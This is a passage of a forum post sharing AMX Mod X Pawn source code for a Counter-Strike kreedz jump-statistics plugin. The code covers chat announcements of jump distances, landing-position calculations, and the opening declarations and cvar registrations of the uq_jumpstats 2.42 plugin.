case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
}
}
else
client_print(i, print_chat, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
if( get_pcvar_num(kz_lj_sounds) == 1 )
{
if (_DistType == DIST_PRO)
{
if( (i == id || is_user_spectating_player(i, id)))
client_cmd(i, "speak misc/perfect");
}
else if (_DistType == DIST_LEET)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/mod_wickedsick");
}
else if (_DistType == DIST_GOOD)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/impressive");
}
else if (_DistType == DIST_GOD)
{
client_cmd(i, "speak misc/mod_godlike");
}
}
}
}
}
else if ( _JumpType == TYPE_SBJ )
{
for( i = INFO_ONE; i < 33; i++ )
{
if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
{
if( color < 6 && color > 0 )
{
switch(color)
{
case 1: ColorChat(i, BLUE, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
}
}
else
client_print(i, print_chat, "[XJ] %s jumped %.3f units with stand-up bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
if( get_pcvar_num(kz_lj_sounds) == 1 )
{
if (_DistType == DIST_PRO)
{
if( (i == id || is_user_spectating_player(i, id)))
client_cmd(i, "speak misc/perfect");
}
else if (_DistType == DIST_LEET)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/mod_wickedsick");
}
else if (_DistType == DIST_GOOD)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/impressive");
}
else if (_DistType == DIST_GOD)
{
client_cmd(i, "speak misc/mod_godlike");
}
}
}
}
}
}
stock func69(id, type)
{
if( type == TYPE_BJ)
{
isBhop[id] = false;
}
else
{
set_task(0.5,"gocheck", id); //why we need it ?
gInAir[id] = false;
}
//static Float:BlockDist;
//BlockDist = 0.0;
if (fallDown[id] == true)
{
vOrigin[0]= vLastFrameOrigin[id][0];
vOrigin[1]= vLastFrameOrigin[id][1];
vOrigin[2]= vLastFrameOrigin[id][2];
}
else
{
pev(id, pev_origin, vOrigin);
}
//client_print(id, print_console, "vOrigin %f %f %f Speed %f %f %f",vOrigin[0],vOrigin[1],vOrigin[2],vFrameSpeed[id][1][0],vFrameSpeed[id][1][1],vFrameSpeed[id][1][2]);
fDistance1 = get_distance_f(vJumpedAt[id], vOrigin)+32.0;
//client_print(id, print_console, "fDistance1 %f vor %f %f %f", fDistance1, vOrigin[0],vOrigin[1],vOrigin[2]);
//client_print(id, print_console, "fDistance1 %f", fDistance1);
rLandPos[2] = vFrameSpeed[id][0][2] * vFrameSpeed[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (vFramePos[id][0][2] - vOrigin[2]));
//client_print(id, print_console, "111 %f %f %f",vFrameSpeed[id][0][2],vFramePos[id][0][2],vOrigin[2]);
rDistance[0] = (floatsqroot(rLandPos[2]) * -1) - vFrameSpeed[id][1][2];
//client_print(id, print_console, "RaZ diff %f notSqrtZvel %f",(vFramePos[id][0][2] - vOrigin[2]),rLandPos[2]);
rDistance[1] = get_pcvar_float(sv_gravity)*-1;
//client_print(id, print_console, "rLandPos[2] %f ^n", rLandPos[2]);
frame2time = floatdiv(rDistance[0], rDistance[1]);
client_print(id, print_console, "frame2time %f %f",frame2time, fDistance1);
if( vFrameSpeed[id][1][0] < 0 )
vFrameSpeed[id][1][0] = vFrameSpeed[id][1][0]*-1;
rDistance[0] = frame2time*vFrameSpeed[id][1][0];
if( vFrameSpeed[id][1][1] < 0 )
vFrameSpeed[id][1][1] = vFrameSpeed[id][1][1]*-1;
rDistance[1] = frame2time*vFrameSpeed[id][1][1];
if( vFrameSpeed[id][1][2] < 0 )
vFrameSpeed[id][1][2] = vFrameSpeed[id][1][2]*-1;
rDistance[2] = frame2time*vFrameSpeed[id][1][2];
//client_print(id, print_console, "frame2time %f rD0 %f rD1 %f %f",frame2time,rDistance[0],rDistance[1],rDistance[2]);
//client_print(id, print_console, "vFramePos[id][1][0] %f %f vFramePos[id][1][1] %f %f", vFramePos[id][1][0],vOrigin[0], vFramePos[id][1][1],vOrigin[1]);
if( vFramePos[id][1][0] < vOrigin[0] )
rLandPos[0] = vFramePos[id][1][0] + rDistance[0];
else
rLandPos[0] = vFramePos[id][1][0] - rDistance[0];
if( vFramePos[id][1][1] < vOrigin[1] )
rLandPos[1] = vFramePos[id][1][1] + rDistance[1];
else
rLandPos[1] = vFramePos[id][1][1] - rDistance[1];
if( is_in_duck(id) )
vOrigin[2]+=18.0;
rLandPos[2] = vOrigin[2];
//client_print(id, print_console, "rLandPos %f %f %f", rLandPos[0],rLandPos[1],rLandPos[2]);
frame2time += (lasttime[id]-jumptime[id]);
//client_print(id, print_console, "vJumpedAt[id][2] %f rLandPos[2] %f vFramePos[id][0][2] %f vOrigin[2]modif %f",vJumpedAt[id][2],rLandPos[2],vFramePos[id][0][2], vOrigin[2]);
//client_print(id, print_console, "vFrameSpeed[id][0][2] %f", vFrameSpeed[id][0][2]);
if( vOrigin[2] == vJumpedAt[id][2] )
{
if ( type == TYPE_BJ )
{
if(!(frame2time > 0.48 && frame2time < 0.7) && pev(id, pev_fuser2) > 0.0) //why we use pev_fuser2) > 0.0 here ???
{
vOrigin[2] = vOrigin[2]*-1;
}
}
else
{
if( is_in_duck(id) && !(frame2time > 0.71 && frame2time < 0.77) )
{
vOrigin[2] = vOrigin[2]*-1;
}
else if( !(is_in_duck(id)) && !(frame2time > 0.65 && frame2time < 0.70) )
{
vOrigin[2] = vOrigin[2]*-1;
}
}
}
fDistance2 = get_distance_f(vJumpedAt[id], rLandPos)+32.00;
//client_print(id, print_console, "fDistance2 %f vFrameSpeed[id][0][2] %f vFrameSpeed[id][1][2] %f", fDistance2, vFrameSpeed[id][0][2],vFrameSpeed[id][1][2]);
//if( (fDistance1+0.25 > fDistance2) && type == TYPE_BJ ) //TODO good calculation
if( fDistance1 > fDistance2 )
{
fDistance = fDistance2;
vOrigin[0] = rLandPos[0];
vOrigin[1] = rLandPos[1];
}
else
fDistance = fDistance1;
vJumpedAt2[2] = vJumpedAt[id][2]-34.0;
vTraceEnd[2] = vOrigin[2]-34.0;
vJumpedAt2[0] = vJumpedAt[id][0];
vTraceEnd[0] = vOrigin[0];
vJumpedAt2[1] = vJumpedAt[id][1]-vJumpedAt[id][1];
vTraceEnd[1] = vOrigin[1]-vOrigin[1];
xDistance = get_distance_f(vJumpedAt2, vTraceEnd);
vJumpedAt2[0] = vJumpedAt[id][0]-vJumpedAt[id][0];
vTraceEnd[0] = vOrigin[0]-vOrigin[0];
vJumpedAt2[1] = vJumpedAt[id][1];
vTraceEnd[1] = vOrigin[1];
yDistance = get_distance_f(vJumpedAt2, vTraceEnd);
if( vJumpedAt[id][0] > vOrigin[0] )
{
vJumpedAt2[0] = vJumpedAt[id][0]+(xDistance*16.03125/fDistance);
vTraceEnd[0] = vOrigin[0]-(xDistance*16.03125/fDistance);
}
else if( vJumpedAt[id][0] < vOrigin[0] )
{
vJumpedAt2[0] = vJumpedAt[id][0]-(xDistance*16.03125/fDistance);
vTraceEnd[0] = vOrigin[0]+(xDistance*16.03125/fDistance);
}
else
{
vJumpedAt2[0] = vJumpedAt[id][0];
vTraceEnd[0] = vOrigin[0];
}
if( vJumpedAt[id][1] > vOrigin[1] )
{
vJumpedAt2[1] = vJumpedAt[id][1]+(yDistance*16.03125/fDistance);
vTraceEnd[1] = vOrigin[1]-(yDistance*16.03125/fDistance);
}
else if( vJumpedAt[id][1] < vOrigin[1] )
{
vJumpedAt2[1] = vJumpedAt[id][1]-(yDistance*16.03125/fDistance);
vTraceEnd[1] = vOrigin[1]+(yDistance*16.03125/fDistance);
}
else
{
vJumpedAt2[1] = vJumpedAt[id][1];
vTraceEnd[1] = vOrigin[1];
}
}
stock func77(id, type)
{
static ent2;
new Float:orig[3];
static classname3[33];
pev(id, pev_origin, orig);
if (is_in_duck(id))
{
while((ent2 = engfunc(EngFunc_FindEntityInSphere, 33, orig, 19.0)) != 0)
{
pev(ent2, pev_classname, classname3, 32);
if( equal(classname3, "func_train")
|| equal(classname3, "func_conveyor")
|| equal(classname3, "trigger_push")
|| equal(classname3, "trigger_gravity")
|| equal(classname3, "func_door")
|| equal(classname3, "func_door_rotating") )
{
return 1;
}
}
}
else
{
while((ent2 = engfunc(EngFunc_FindEntityInSphere, 33, orig, 37.0)) != 0)
{
pev(ent2, pev_classname, classname3, 32);
if( equal(classname3, "func_train")
|| equal(classname3, "func_conveyor")
|| equal(classname3, "trigger_push")
|| equal(classname3, "trigger_gravity")
|| equal(classname3, "func_door")
|| equal(classname3, "func_door_rotating") )
{
return 1;
}
}
}
return 0;
}
plg de bază
Code: Select all
/*
stats by kzuq^BorJomi
version 2.42
Big thanks developers of kz_ljs_xm and Exolent
Visit http://unique-kz.com/
2011 year
*/
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <engine>
#include <cstrike>
#include <hamsandwich>
#include <celltrie>
#include <uq_jumpstats_const.inc>
#include <uq_jumpstats_stocks.inc>
#include <dhudmessage>
#include <colorchat>
#define VERSION "2.42"
//#pragma semicolon 1
////////////////////////////////////Some shit varibeles////////////////////////////////////
new dd_sync[33],angles_arry[33],Float:old_angles[33][3],lost_frame_count[33][NSTRAFES],line_lost[33][NSTRAFES][NVAR],FullJumpFrames[33],heystats,max_players,bool:duckbhop_bug_pre[33],bool:dropupcj[33],Float:first_duck_z[33],screenshoot,Float:checkladdertime[33],bool:ladderbug[33],bool:login[33];
new uq_istrafe,kz_uq_istrafe,bug_check[33],bool:bug_true[33],bool:find_ladder[33],bool:Checkframes[33],type_button_what[33][100];
new min_pre,beam_type[33],min_prestrafe[33],dropbhop[33],ddnum[33],bool:dropaem[33],bool:ddforcj[33];
new kz_uq_min_other,bool:slide_protec[33],bool:UpcjFail[33],bool:upBhop[33],Float:upheight[33];
new beam_entity[33][NVAR],ent_count[33],kz_uq_extras,sql_stats,kz_sql,g_sql_pid[33],kz_top_rank_by,kz_uq_block_top;
new bool:height_show[33],bool:firstfall_ground[33],framecount[33],bool:firstladder[33];
new Float:FallTime[33],Float:FallTime1[33],multiscj[33],multidropcj[33],bool:enable_sound[33];
new jumpblock[33],Float:edgedist[33];
new bool:failed_jump[33],bool:started_multicj_pre[33],bool:sync_doubleduck[33],bhop_num[33],bool:Show_edge_Fail[33],bool:Show_edge[33],bool:fps_hight[33],bool:first_ground_bhopaem[33];
new line_erase[33][NSTRAFES],line_erase_strnum[33];
new max_edge,min_edge,NSTRAFES1,max_strafes,Float:nextbhoptime[33],Float:bhopaemtime[33],Float:ground_bhopaem_time[33],Float:SurfFrames[33],Float:oldSurfFrames[33],bool:first_air[33];
new bool:preessbutton[33],button_what[33],bool:gBeam_button[33][100],gBeam_button_what[33][100];
new bool:h_jumped[33],Float:heightoff_origin[33],web_stats,Float:x_heightland_origin[33],bool:x_jump[33],Float:laddertime[33],bool:edgedone[33];
new schetchik[33],Float:changetime[33],bool:edgeshow[33],bool:slide[33],pre_type[33][33];
new bool:ingame_strafe[33],bool:ljpre[33],Float:distance[33],detecthj[33],bool:doubleduck[33];
new Float:doubletime[33],bool:multibhoppre[33],kz_uq_fps,bool:duckbhop[33],MAX_DISTANCE,Float:upbhop_koeff[33];
new Float:rDistance[3],Float:frame2time,bool:touch_ent[33],bool:ddbeforwj[33],bool:gHasColorChat[33],Float:old_angle1[33];
new bool:g_lj_stats[33],strafe_num[33],bool:g_Jumped[33],bool:g_reset[33],ljsDir[64],ljsDir_weapon[8][64],ljsDir_block[64],Float:gBeam_points[33][100][3],gBeam_duck[33][100],gBeam_count[33];
new gBeam,waits[33],waits1[33],Float:slideland[33],bool:backwards[33],bool:hookcheck[33],Float:timeonground[33];
new map_dist[NTOP+1],map_syncc[NTOP+1],map_maxsped[NTOP+1], map_prestr[NTOP+1],map_names[NTOP+1][33],map_ip[NTOP+1][33],map_streif[NTOP+1],map_type[NTOP+1][33];
new kz_uq_lj,kz_uq_cj,kz_uq_dcj,kz_uq_mcj ,kz_uq_ladder,kz_uq_ldbj,kz_uq_bj,kz_uq_sbj,kz_uq_drbj,kz_uq_drsbj,kz_uq_drcj,kz_uq_wj;
new oldpre[33],oldljpre[33],oldfail[33],Float:starthj[33][3],Float:stophj[33][3], Float:endhj[33][3];
new bool:landslide[33],strafecounter_oldbuttons[33],Float:Fulltime,Float:needslide[33],Float:groundslide[33];
new jj,sync_[33],goodSyncTemp,badSyncTemp,strafe_lost_frame[33][NSTRAFES],Float:time_,Float:strafe_stat_time[33][NSTRAFES],Float:strafe_stat_speed[33][NSTRAFES][2];
new strafe_stat_sync[33][NSTRAFES][2],strLen,strMess[40*NSTRAFES],strMessBuf[40*NSTRAFES],team[33];
new bool:g_pBot[33],strL,strM[40*NSTRAFES],strMBuf[40*NSTRAFES],Float:firstvel[33],Float:secvel[33],Float:firstorig[33][3],Float:secorig[33][3];
new Float:speed[33], Float:TempSpeed[33],Float:statsduckspeed[33][500];
new bool:slidim[33],Float:slidedist[33],edgefriction,mp_footsteps,sv_cheats,sv_airaccelerate,sv_maxspeed,sv_stepsize,sv_maxvelocity,sv_gravity;
new kz_min_dcj,kz_stats_x,kz_stats_y,Float:stats_x,Float:stats_y,taskslide[33],taskslide1[33],bool:failslide[33];
new Float:failslidez[33],kz_strafe_x,kz_strafe_y,Float:strafe_x,Float:strafe_y,Float:laddist[33],kz_duck_x;
new kz_duck_y,Float:duck_x,Float:duck_y,bool:bhopaem[33],bool:nextbhop[33],kz_stats_red,kz_stats_green, kz_stats_blue, kz_failstats_red,kz_failstats_green;
new kz_failstats_blue, kz_sounds, kz_airaccelerate,kz_uq_url,kz_prefix,kz_legal_settings;
new kz_good_lj,kz_pro_lj,kz_holy_lj,kz_leet_lj,kz_god_lj,kz_good_bj,kz_pro_bj,kz_holy_bj,kz_leet_bj,kz_god_bj;
new kz_good_cj,kz_pro_cj,kz_holy_cj,kz_leet_cj,kz_god_cj,kz_good_wj,kz_pro_wj,kz_holy_wj,kz_leet_wj,kz_god_wj;
new kz_good_dbj,kz_pro_dbj, kz_holy_dbj,kz_leet_dbj, kz_god_dbj,kz_good_scj,kz_pro_scj, kz_holy_scj,kz_leet_scj, kz_god_scj;
new kz_good_ladder,kz_pro_ladder,kz_holy_ladder, kz_leet_ladder,kz_god_ladder,kz_good_dcj,kz_pro_dcj,kz_holy_dcj,kz_leet_dcj,kz_god_dcj;
new kz_god_duckbhop,kz_holy_duckbhop,kz_pro_duckbhop,kz_good_duckbhop,kz_good_dropscj,kz_pro_dropscj,kz_holy_dropscj,kz_leet_dropscj,kz_god_dropscj;
new kz_good_real,kz_pro_real,kz_holy_real,kz_leet_real,kz_god_real,kz_good_bhopinduck,kz_pro_bhopinduck,kz_holy_bhopinduck,kz_leet_bhopinduck,kz_god_bhopinduck;
new kz_god_upbj,kz_leet_upbj,kz_good_upbj, kz_pro_upbj,kz_holy_upbj,kz_god_upsbj,kz_leet_upsbj,kz_good_upsbj, kz_pro_upsbj,kz_holy_upsbj;
new kz_uq_dscj,kz_uq_mscj,kz_leet_duckbhop,kz_uq_dropscj,kz_uq_dropdscj,kz_uq_dropmscj,kz_uq_duckbhop,kz_uq_bhopinduck,kz_uq_realldbhop,kz_uq_multibhop,kz_uq_upbj,kz_uq_upbhopinduck,kz_uq_upsbj,kz_uq_dropdcj,kz_uq_dropmcj;
new user_block[33][2],Float:slidez[33][4][3],prefix[64];
new CjafterJump[33],bool:ddafterJump[33],bool:cjjump[33],bool:serf_reset[33],entlist[256],ent,nLadder,Float:ladderxyz[256][3],Float:ladderminxyz[256][3], Float:laddersize[256][3], nashladder,bool:ladderjump[33];
new bool:kz_stats_pre[33], bool:kz_beam[33],bool:showpre[33],bool:showjofon[33],bool:speedon[33],bool:jofon[33];
new Float:dropbjorigin[33][3], Float:falloriginz[33],Float:origin[3],ducks[33], movetype[33];
static Float:maxspeed[33], Float:prestrafe[33],JumpType:jump_type[33],JumpType:old_type_dropbj[33], frames[33], frames_gained_speed[33], bool:turning_left[33];
static bool:turning_right[33],bool:started_cj_pre[33],bool:in_duck[33], bool:in_bhop[33],bool:in_air[33],bool:in_ladder[33];
new bool:player_admin[33],bool:failearly[33],bool:firstshow[33],bool:first_onground[33],bool:notjump[33],bool:OnGround[33],bool:donehook[33];
new bool:streifstat[33],Jtype[33][33],Jtype1[33][33],Jtype_old_dropbj[33][33],Jtype_old_dropbj1[33][33],Float:weapSpeed[33],Float:weapSpeedOld[33];
new airacel[33][33],bool:firstfr[33],kz_speed_x,kz_speed_y,hud_stats,hud_streif,hud_pre,hud_duck,hud_speed;
new kz_uq_connect,kz_uq_light,bool:duckstring[33],kz_uq_top,kz_uq_maptop,bool:showduck[33],Float:surf[33];
new bool:first_surf[33],oldjump_type[33],oldjump_typ1[33],jump_typeOld[33],mapname[33],Float:duckstartz[33],direct_for_strafe[33];
new Float:height_difference[33],kz_uq_team,bool:jumpoffirst[33],bool:posibleScj[33];
new kz_uq_noslow,kz_prest_x,kz_prest_y,kz_speed_r,kz_speed_g,kz_speed_b,kz_prest_r,kz_prest_g,kz_prest_b;
new weapon_top,bool:touch_somthing[33],record_start[33],allow_info;
new showtime_st_stats[33];
new Float:jof[33],weapon_block_top;
new g_playername[33][64], g_playersteam[33][35], g_playerip[33][16], rankby,plugin_ver[33];
new ljsDir_block_weapon[8][64],uq_host,uq_user,uq_pass,uq_db,Handle:DB_TUPLE,Handle:SqlConnection,g_error[512],sql_Cvars_num[SQLCVARSNUM];
new sql_JumpType[33];
new Trie:JData,Trie:JData_Block,Float:oldjump_height[33],Float:jheight[33],bool:jheight_show[33];
new uq_lj,uq_cj,uq_dcj,uq_mcj,uq_ladder,uq_ldbj,uq_bj,uq_sbj,uq_drbj,uq_drsbj,uq_drcj;
new uq_wj,uq_dscj,uq_mscj,uq_dropscj,uq_dropdscj,uq_dropmscj,uq_duckbhop,uq_bhopinduck;
new uq_realldbhop,uq_upbj,uq_upbhopinduck,uq_upsbj,uq_multibhop,uq_dropdcj,uq_dropmcj;
new dcj_god_dist,dcj_leet_dist,dcj_holy_dist,dcj_pro_dist,dcj_good_dist;
new lj_god_dist,lj_leet_dist,lj_holy_dist,lj_pro_dist,lj_good_dist;
new ladder_god_dist,ladder_leet_dist,ladder_holy_dist,ladder_pro_dist,ladder_good_dist;
new wj_god_dist,wj_leet_dist,wj_holy_dist,wj_pro_dist,wj_good_dist;
new bj_god_dist,bj_leet_dist,bj_holy_dist,bj_pro_dist,bj_good_dist;
new cj_god_dist,cj_leet_dist,cj_holy_dist,cj_pro_dist,cj_good_dist;
new dbj_god_dist,dbj_leet_dist,dbj_holy_dist,dbj_pro_dist,dbj_good_dist;
new scj_god_dist,scj_leet_dist,scj_holy_dist,scj_pro_dist,scj_good_dist;
new dropscj_god_dist,dropscj_leet_dist,dropscj_holy_dist,dropscj_pro_dist,dropscj_good_dist;
new bhopinduck_god_dist,bhopinduck_leet_dist,bhopinduck_holy_dist,bhopinduck_pro_dist,bhopinduck_good_dist;
new upbj_god_dist,upbj_leet_dist,upbj_holy_dist,upbj_pro_dist,upbj_good_dist;
new upsbj_god_dist,upsbj_leet_dist,upsbj_holy_dist,upsbj_pro_dist,upsbj_good_dist;
new real_god_dist,real_leet_dist,real_holy_dist,real_pro_dist,real_good_dist;
new duckbhop_god_dist,duckbhop_leet_dist,duckbhop_holy_dist,duckbhop_pro_dist,duckbhop_good_dist;
new web_sql,max_distance,min_distance_other,min_distance,uq_airaccel,leg_settings,uq_sounds;
new uq_maxedge,uq_minedge,uq_min_pre,speed_r,speed_g,speed_b,Float:speed_x,Float:speed_y,h_speed,kz_top,kz_extras,kz_weapon,kz_block_top;
new uq_team,prest_r,prest_g,prest_b,Float:prest_x,Float:prest_y,h_prest,h_stats,h_duck,h_streif;
new uq_noslow,uq_light,uq_screen,uq_info,uq_fps,kz_map_top,kz_wpn_block_top,stats_r,stats_b,stats_g,f_stats_r,f_stats_b,f_stats_g;
//new uq_sv_maxvelocity,uq_sv_stepsize,uq_sv_maxspeed,uq_edgefriction,uq_mp_footsteps,uq_sv_cheats,uq_sv_gravity,uq_sv_airaccelerate;
new kz_uq_script_work,uq_script_work,uq_ban_minutes,kz_uq_ban_minutes,uq_bug,kz_uq_bug,uq_script_notify,kz_uq_script_notify,uq_admins,kz_uq_admins,kz_uq_script_detection,uq_script_detection,kz_uq_update_auth,uq_update_auth;
new doubleduck_stat_sync[33][2],logs_path[128],uq_script_punishment,kz_uq_script_punishment,uq_ban_authid,uq_ban_type,kz_uq_ban_authid,kz_uq_ban_type;
new kz_uq_block_chat_show,kz_uq_block_chat_min,uq_block_chat_show,uq_block_chat_min;
new bool:speedtype[33],ddforcjafterbhop[33],ddforcjafterladder[33],ddstandcj[33];
new bool:trigger_protection[33],kz_uq_speed_allteam,uq_speed_allteam;
new sql_Cvars[SQLCVARSNUM][] = { //cvars for db
"kz_uq_save_extras_top",
"kz_uq_top_by",
"kz_uq_sql",
"kz_uq_block_top"
};
new Trie:JumpPlayers;
new const KZ_CVARSDIR[] = "config.cfg";
public plugin_init()
{
register_plugin( "JumpStats", VERSION, "BorJomi" );
register_dictionary("uq_jumpstats.txt");
kz_good_lj = register_cvar("kz_uq_good_lj", "240"); // lj hj
kz_pro_lj = register_cvar("kz_uq_pro_lj", "245");
kz_holy_lj = register_cvar("kz_uq_holy_lj", "250");
kz_leet_lj = register_cvar("kz_uq_leet_lj", "253");
kz_god_lj = register_cvar("kz_uq_god_lj", "255");
kz_good_cj = register_cvar("kz_uq_good_cj", "250"); // cj
kz_pro_cj = register_cvar("kz_uq_pro_cj", "255");
kz_holy_cj = register_cvar("kz_uq_holy_cj", "260");
kz_leet_cj = register_cvar("kz_uq_leet_cj", "265");
kz_god_cj = register_cvar("kz_uq_god_cj", "267");
kz_good_dcj = register_cvar("kz_uq_good_dcj", "250"); // dcj mcj
kz_pro_dcj = register_cvar("kz_uq_pro_dcj", "255");
kz_holy_dcj = register_cvar("kz_uq_holy_dcj", "260");
kz_leet_dcj = register_cvar("kz_uq_leet_dcj", "265");
kz_god_dcj = register_cvar("kz_uq_god_dcj", "270");
kz_good_ladder = register_cvar("kz_uq_good_ladder", "150"); // ladder
kz_pro_ladder = register_cvar("kz_uq_pro_ladder", "160");
kz_holy_ladder = register_cvar("kz_uq_holy_ladder", "170");
kz_leet_ladder = register_cvar("kz_uq_leet_ladder", "180");
kz_god_ladder = register_cvar("kz_uq_god_ladder", "190");
kz_good_bj = register_cvar("kz_uq_good_bj", "230"); // bj sbj
kz_pro_bj = register_cvar("kz_uq_pro_bj", "235");
kz_holy_bj = register_cvar("kz_uq_holy_bj", "240");
kz_leet_bj = register_cvar("kz_uq_leet_bj", "245");
kz_god_bj = register_cvar("kz_uq_god_bj", "247");
kz_good_wj = register_cvar("kz_uq_good_wj", "255"); // wj dropcj ladderbhop
kz_pro_wj = register_cvar("kz_uq_pro_wj", "260");
kz_holy_wj = register_cvar("kz_uq_holy_wj", "265");
kz_leet_wj = register_cvar("kz_uq_leet_wj", "270");
kz_god_wj = register_cvar("kz_uq_god_wj", "272");
kz_good_dbj = register_cvar("kz_uq_good_dbj", "240"); //
kz_pro_dbj = register_cvar("kz_uq_pro_dbj", "250");
kz_holy_dbj = register_cvar("kz_uq_holy_dbj", "265");
kz_leet_dbj = register_cvar("kz_uq_leet_dbj", "270");
kz_god_dbj = register_cvar("kz_uq_god_dbj", "272");
kz_good_scj = register_cvar("kz_uq_good_scj", "245"); //
kz_pro_scj = register_cvar("kz_uq_pro_scj", "250");
kz_holy_scj = register_cvar("kz_uq_holy_scj", "255");
kz_leet_scj = register_cvar("kz_uq_leet_scj", "260");
kz_god_scj = register_cvar("kz_uq_god_scj", "262");
kz_good_dropscj = register_cvar("kz_uq_good_dropscj", "255"); //
kz_pro_dropscj = register_cvar("kz_uq_pro_dropscj", "260");
kz_holy_dropscj = register_cvar("kz_uq_holy_dropscj", "265");
kz_leet_dropscj = register_cvar("kz_uq_leet_dropscj", "270");
kz_god_dropscj = register_cvar("kz_uq_god_dropscj", "272");
kz_good_duckbhop = register_cvar("kz_uq_good_duckbhop", "120"); //
kz_pro_duckbhop = register_cvar("kz_uq_pro_duckbhop", "130");
kz_holy_duckbhop = register_cvar("kz_uq_holy_duckbhop", "140");
kz_leet_duckbhop = register_cvar("kz_uq_leet_duckbhop", "150");
kz_god_duckbhop = register_cvar("kz_uq_god_duckbhop", "160");
kz_good_bhopinduck = register_cvar("kz_uq_good_bhopinduck", "205"); //
kz_pro_bhopinduck = register_cvar("kz_uq_pro_bhopinduck", "210");
kz_holy_bhopinduck = register_cvar("kz_uq_holy_bhopinduck", "215");
kz_leet_bhopinduck = register_cvar("kz_uq_leet_bhopinduck", "218");
kz_god_bhopinduck = register_cvar("kz_uq_god_bhopinduck", "220");
kz_good_real = register_cvar("kz_uq_good_realldbhop", "240"); //
kz_pro_real = register_cvar("kz_uq_pro_realldbhop", "250");
kz_holy_real = register_cvar("kz_uq_holy_realldbhop", "265");
kz_leet_real = register_cvar("kz_uq_leet_realldbhop", "270");
kz_god_real = register_cvar("kz_uq_god_realldbhop", "272");
kz_good_upbj = register_cvar("kz_uq_good_upbj", "225"); //
kz_pro_upbj = register_cvar("kz_uq_pro_upbj", "230");
kz_holy_upbj = register_cvar("kz_uq_holy_upbj", "235");
kz_leet_upbj = register_cvar("kz_uq_leet_upbj", "240");
kz_god_upbj = register_cvar("kz_uq_god_upbj", "245");
kz_good_upsbj = register_cvar("kz_uq_good_upbj", "230"); //
kz_pro_upsbj = register_cvar("kz_uq_pro_upbj", "235");
kz_holy_upsbj = register_cvar("kz_uq_holy_upbj", "240");
kz_leet_upsbj = register_cvar("kz_uq_leet_upbj", "244");
kz_god_upsbj = register_cvar("kz_uq_god_upbj", "246");
kz_min_dcj = register_cvar("kz_uq_min_dist", "215");
MAX_DISTANCE = register_cvar("kz_uq_max_dist", "290");
kz_stats_red = register_cvar("kz_uq_stats_red", "0");
kz_stats_green = register_cvar("kz_uq_stats_green", "255");
kz_stats_blue = register_cvar("kz_uq_stats_blue", "159");
kz_failstats_red = register_cvar("kz_uq_failstats_red", "255");
kz_failstats_green = register_cvar("kz_uq_failstats_green", "0");
kz_failstats_blue = register_cvar("kz_uq_failstats_blue", "109");
kz_sounds = register_cvar("kz_uq_sounds", "1");
kz_top_rank_by = register_cvar("kz_uq_top_by", "0"); // How ranking will work? 0=name, 1=ip 2=steam
kz_legal_settings = register_cvar("kz_uq_legal_settings", "0");
kz_prefix = register_cvar("kz_uq_prefix", "PLAY-ARENA");
kz_airaccelerate = register_cvar("kz_uq_airaccelerate", "1");
kz_stats_x = register_cvar("kz_uq_stats_x", "-1.0");
kz_stats_y = register_cvar("kz_uq_stats_y", "0.70");
kz_strafe_x = register_cvar("kz_uq_strafe_x", "0.70");
kz_strafe_y = register_cvar("kz_uq_strafe_y", "0.35");
kz_duck_x = register_cvar("kz_uq_duck_x", "0.6");
kz_duck_y = register_cvar("kz_uq_duck_y", "0.78");
kz_speed_x = register_cvar("kz_uq_speed_x", "-1.0");
kz_speed_y = register_cvar("kz_uq_speed_y", "0.83");
kz_prest_x = register_cvar("kz_uq_prestrafe_x", "-1.0");
kz_prest_y = register_cvar("kz_uq_prestrafe_y", "0.65");
kz_speed_r = register_cvar("kz_uq_speed_red", "255");
kz_speed_g = register_cvar("kz_uq_speed_green", "255");
kz_speed_b = register_cvar("kz_uq_speed_blue", "255");
kz_prest_r = register_cvar("kz_uq_prestrafe_red", "255");
kz_prest_g = register_cvar("kz_uq_prestrafe_green", "255");
kz_prest_b = register_cvar("kz_uq_prestrafe_blue", "255");
hud_stats = register_cvar("kz_uq_hud_stats", "3");
hud_streif = register_cvar("kz_uq_hud_strafe", "4");
hud_pre = register_cvar("kz_uq_hud_pre", "1");
hud_duck = register_cvar("kz_uq_hud_duck", "1");
hud_speed = register_cvar("kz_uq_hud_speed", "2");
kz_uq_lj = register_cvar("kz_uq_lj", "1");
kz_uq_cj = register_cvar("kz_uq_cj", "1");
kz_uq_dcj = register_cvar("kz_uq_dcj", "1");
kz_uq_mcj = register_cvar("kz_uq_mcj", "1");
kz_uq_ladder = register_cvar("kz_uq_ladder", "1");
kz_uq_ldbj = register_cvar("kz_uq_ldbj", "1");
kz_uq_bj = register_cvar("kz_uq_bj", "1");
kz_uq_sbj = register_cvar("kz_uq_sbj", "1");
kz_uq_drbj = register_cvar("kz_uq_drbj", "1");
kz_uq_drsbj = register_cvar("kz_uq_scj", "1");
kz_uq_drcj = register_cvar("kz_uq_drcj", "1");
kz_uq_wj = register_cvar("kz_uq_wj", "1");
kz_uq_dscj = register_cvar("kz_uq_dscj", "1");
